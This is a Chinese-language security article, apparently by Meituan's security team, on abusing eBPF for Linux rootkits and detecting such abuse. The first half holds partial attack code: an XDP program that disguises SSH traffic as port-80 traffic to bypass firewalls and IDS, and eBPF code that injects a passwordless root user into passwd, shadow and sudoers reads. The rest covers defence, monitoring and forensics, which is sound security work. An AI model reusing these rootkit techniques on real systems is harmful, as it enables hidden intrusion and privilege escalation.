Linux中基于eBPF的恶意利用与检测机制
总第499 篇
2022年 第016篇
近几年云原生领域飞速发展,eBPF技术成为各厂商首选技术,在网络编排、行为观测等领域四处开花。然而收益与风险并存,不久前爆出的Bvp47后门正是利用BPF技术惊人地在世界各地潜伏了近二十年。今日BPF已演进为eBPF,黑客会如何利用,造成什么危害?我们又该如何防范?
-
前言
-
现状分析
-
海外资料
-
国内资料
-
eBPF技术恶意利用的攻击原理
-
Linux网络层恶意利用
-
Linux系统运行时恶意利用
-
综述
-
检测防御
-
运行前
-
运行时
-
运行后
-
如何防御
-
工程实现
-
练手
-
类库选择
-
系统兼容性CO-RE
-
大型项目
-
总结
前言
现状分析
海外资料
国内资料
eBPF技术恶意利用的攻击原理
-
网络 -
监控 -
观测 -
跟踪&性能分析 -
安全
-
可以在Storage、Network等与内核交互之间; -
也可以在内核中的功能模块交互之间; -
又可以在内核态与用户态交互之间; -
更可以在用户态进程空间。
-
Linux网络层恶意利用 -
Linux系统运行时恶意利用
Linux网络层恶意利用
XDP/TC层修改TCP包
-
XDP的BPF_PROG_TYPE_XDP程序类型,可以丢弃、修改、重传来自ingress的流量,但无法对egress起作用。 -
TC的BPF_PROG_TYPE_SCHED_CLS除了拥有XDP“BPF_PROG_TYPE_XDP”的功能外,还可以对egress起作用。
实现流程
SEC("xdp/ingress")int xdp_ingress(struct xdp_md *ctx) {struct cursor c;struct pkt_ctx_t pkt;//判断是否为SSHD的协议,不是则直接放行if (!(不是SSHD协议(&c))) {return XDP_PASS;}//判断rootkit是否匹配,网卡信息与来源端口是否匹配hack_mac[] = "读取bpf map配置。"if(密钥不匹配) {return XDP_PASS;}// 读取map,是否已经存在该client信息struct netinfo client_key = {};__builtin_memcpy(&client_key.mac, &pkt.eth->h_source, ETH_ALEN);struct netinfo *client_value;client_value = bpf_map_lookup_elem(&ingress_client, &client_key);// 如果没找到伪装信息,则自己组装if(!client_value) {__builtin_memset(&client_value, 0, sizeof(client_value));} else {bpf_map_update_elem(&ingress_client, &client_key, &client_value, BPF_ANY);}// 伪装mac局域网mac信息pkt.eth->h_source[0] = 0x00;...// 替换伪装ip来源 ,客户端端口不变// 更改目标端口pkt.tcp->dest = htons(FACK_PORT); //22//计算TCP SUM layer 4ipv4_csum(pkt.tcp, sizeof(struct tcphdr), &csum);pkt.tcp->check = csum;//写入已伪装的map,用于TC处理egress的原mac、IP信息还原。return XDP_PASS;}
视频演示
-
入侵者:cnxct-mt2,IP为172.16.71.1。 -
普通用户:ubuntu,IP为172.16.71.3。 -
被入侵服务器:vm-ubuntu,IP为172.16.71.4。开放nginx web 80端口;开放SSHD 22端口,并设定iptables规则只允许内网IP访问。
危害
-
iptables防火墙绕过 :利用对外开放的80端口作为通信隧道; -
WebIDS绕过 :流量到达服务器后,并不传递给Nginx; -
NIDS绕过 :入侵者流量在局域网之间流传并无异常,只是无法解密; -
HIDS绕过 :是否信任了防火墙,忽略了本机/局域网来源的SSHD登录。
Linux系统运行时恶意利用
实现流程
import "github.com/ehids/ebpfmanager"// 通过elf的常量替换方式传递数据func (e *MBPFContainerEscape) constantEditor() []manager.ConstantEditor { var username = RandString(9) var password = RandString(9) var s = RandString(8) salt := []byte(fmt.Sprintf("$6$%s", s)) // use salt to hash user-supplied password c := sha512_crypt.New() hash, err := c.Generate([]byte(password), salt) var m = map[string]interface{}{} res := make([]byte, PAYLOAD_LEN) var payload = fmt.Sprintf("%s ALL=(ALL:ALL) NOPASSWD:ALL #", username) copy(res, payload) m["payload"] = res m["payload_len"] = uint32(len(payload)) // 生成passwd字符串 var payload_passwd = fmt.Sprintf("%s:x:0:0:root:/root:/bin/bash\n", username) // 生成shadow字符串 var payload_shadow = fmt.Sprintf("%s:%s:18982:0:99999:7:::\n", username, hash) // eBPF RewriteContants var editor = []manager.ConstantEditor{ { Name: "payload", Value: m["payload"], FailOnMissing: true, }, { Name: "payload_len", Value: m["payload_len"], FailOnMissing: true, }, } return editor}func (this *MBPFContainerEscape) setupManagers() { this.bpfManager = &manager.Manager{ Probes: []*manager.Probe{ { Section: "tracepoint/syscalls/sys_enter_openat", EbpfFuncName: "handle_openat_enter", AttachToFuncName: "sys_enter_openat", }, ... }, Maps: []*manager.Map{ { Name: "events", }, }, } this.bpfManagerOptions = manager.Options{ ... // 填充 RewriteContants 对应map ConstantEditors: this.constantEditor(), }}
const volatile int payload_len = 0;...const volatile char payload_shadow[MAX_PAYLOAD_LEN];SEC("tracepoint/syscalls/sys_exit_read")int handle_read_exit(struct trace_event_raw_sys_exit *ctx){ // 判断是否为rootkit行为,是否需要加载payload ... long int read_size = ctx->ret; // 判断原buff长度是否小于payload if (read_size < payload_len) { return 0; } // 判断文件类型,匹配追加相应payload switch (pbuff_addr->file_type) { case FILE_TYPE_PASSWD: // 覆盖payload到buf,不足部分使用原buff内容 { bpf_probe_read(&local_buff, MAX_PAYLOAD_LEN, (void*)buff_addr); for (unsigned int i = 0; i < MAX_PAYLOAD_LEN; i++) { if (i >= payload_passwd_len) { local_buff[i] = ' '; } else { local_buff[i] = payload_passwd[i]; } } } break; case FILE_TYPE_SHADOW: // 覆盖 shadow文件 ... break; case FILE_TYPE_SUDOERS: //覆盖sudoers ... break; default: return 0; break; } // 将payload内存写入到buffer ret = bpf_probe_write_user((void*)buff_addr, local_buff, MAX_PAYLOAD_LEN); // 发送事件到用户态 return 0;}
视频演示
严重危害
综述
检测防御
-
运行前 -
运行时 -
运行后
运行前
环境限制
seccomp限制
内核编译参数限制
非特权用户指令
//https://elixir.bootlin.com/linux/v5.16.9/source/kernel/bpf/syscall.c#L2240if (type != BPF_PROG_TYPE_SOCKET_FILTER && type != BPF_PROG_TYPE_CGROUP_SKB && !bpf_capable()) return -EPERM;
sysctl kernel.unprivileged_bpf_disabled=1
来修改配置。配置含义见
Documentation for /proc/sys/kernel/
。
-
值为0表示允许非特权用户调用bpf; -
值为1表示禁止非特权用户调用bpf且该值不可再修改,只能重启后修改; -
值为2表示禁止非特权用户调用bpf,可以再次修改为0或1。
特征检查
tc\ip\bpftool
等)加载的话,仍面临威胁。比如:
ip link set dev ens33 xdp obj xdp-example_pass.o
。
运行检查
运行时
监控
SEC("tracepoint/syscalls/sys_enter_bpf")int tracepoint_sys_enter_bpf(struct syscall_bpf_args *args) { struct bpf_context_t *bpf_context = make_event(); if (!bpf_context) return 0; bpf_context->cmd = args->cmd; get_common_proc(&bpf_context->procinfo); send_event(args, bpf_context); return 0;}
审计&筛查
-
MAP的创建BPF_MAP_CREATE -
PROG加载BPF_PROG_LOAD -
BPF_OBJ_PIN -
BPF_PROG_ATTACH -
BPF_BTF_LOAD -
BPF_MAP_UPDATE_BATCH
运行后
文件描述符与引用计数器
溯源
-
k[ret]probe -
u[ret]probe -
tracepoint -
raw_tracepoint -
perf_event -
socket filters -
so_reuseport
bpftool prog show
,以及
bpftool prog help
查看更多参数。
bpftool map show
,以及
bpftool map help
可以查看更多参数。
bpflist-bpfcc -vv
命令可以看到当前服务器运行的“部分”BPF程序列表。以测试环境为例:
root@vmubuntu:/home/cfc4n/project/xdp## bpflist-bpfcc -vvopen kprobes:open uprobes:PID COMM TYPE COUNT1 systemd prog 810444 ehids map 410444 ehids prog 5
ip link set dev ens33 xdp obj xdp-example_pass.o
命令,在这里却没有显示出来。意味着这个命令输出的结果并不是所有bpf程序、map的情况。
-
XDP -
TC -
LWT -
CGROUP
ip link set dev ens33 xdp obj xdp-example_pass.o
为例。ip命令的参数中包含bpf字节码文件名,ip进程打开.o字节码的FD,通过NETLINK发IFLA_XDP类型消息(
子类型IFLA_XDP_FD
)给内核,内核调用dev_change_xdp_fd函数,由网卡接管FD,引用计数器递增,用户空间的ip进程退出后,BPF程序依旧工作。内核源码参见:
elixir.bootlin.com/linux
。
17:53:22.553708 sendmsg(3, { msg_name={sa_family=AF_NETLINK, nl_pid=0, nl_groups=00000000}, msg_namelen=12, msg_iov=[ { iov_base={ {nlmsg_len=52, nlmsg_type=RTM_NEWLINK, nlmsg_flags=NLM_F_REQUEST|NLM_F_ACK, nlmsg_seq=1642672403, nlmsg_pid=0}, {ifi_family=AF_UNSPEC, ifi_type=ARPHRD_NETROM, ifi_index=if_nametoindex("ens33"), ifi_flags=0, ifi_change=0}, { {nla_len=20, nla_type=IFLA_XDP}, [ {{nla_len=8, nla_type=IFLA_XDP_FD}, 6}, {{nla_len=8, nla_type=IFLA_XDP_FLAGS}, XDP_FLAGS_UPDATE_IF_NOEXIST} ] } }, iov_len=52 } ], msg_iovlen=1, msg_controllen=0, msg_flags=0 }, 0) = 52
17:55:16.306843 sendmsg(3, { ... {nla_len=20, nla_type=IFLA_XDP}, [ {{nla_len=8, nla_type=IFLA_XDP_FD}, -1}, {{nla_len=8, nla_type=IFLA_XDP_FLAGS}, XDP_FLAGS_UPDATE_IF_NOEXIST} ] } ... }, 0) = 52
-
ip link show -
tc filter show dev [网卡名] [ingress|egress]
bpftool net show dev ens33 -p
命令可以用于查看网络相关的eBPF hook点。
mount -t bpf
来查看系统所有挂在的文件类型,是否包含BPFFS类型。
取证
root@vmubuntu:/home/cfc4n# bpftool prog helpbpftool prog dump xlated PROG [{ file FILE | opcodes | visual | linum }]bpftool prog dump jited PROG [{ file FILE | opcodes | linum }]
root@vmubuntu:/home/cfc4n# bpftool map dump id 20[{ "value": { ".rodata": [{ "target_ppid": 0 },{ "uid": 0 },{ "payload_len": 38 ...
如何防御
LSM_PROBE(bpf, int cmd, union bpf_attr *attr, unsigned int size){ return -EPERM;}
工程实现
练手
类库选择
系统兼容性CO-RE
大型项目
总结
作者简介
参考文献
-
Creating and Countering the Next Generation of Linux Rootkits -
DEFCON 29 - eBPF, I thought we were friends -
eBPF的各种技术应用PDF集合 -
Offensive BPF: Malicious bpftrace -
Bad BPF - Warping reality using eBPF -
Lifetime of BPF objects -
BPF程序(BPF Prog)类型详解:使用场景、函数签名、执行位置及程序示例 -
Features of bpftool: the thread of tips and examples to work with eBPF objects -
Reverse Engineering Ebpfkit Rootkit With BlackBerry's Enhanced IDA Processor Tool -
Creating and countering the next generation of Linux rootkits using eBPF -
eBPF Syscall -
Cilium eBPF实现机制源码分析 -
ebpfkit is a rootkit powered by eBPF
- 安全研发专家(主机安全方向)
- 安全研发专家(RASP方向)
具体描述参见 : 美团信息安全部2022年招聘岗位 。欢迎大家加入我们,跟我们一起构筑安全屏障,守护大家的安全。
阅读更多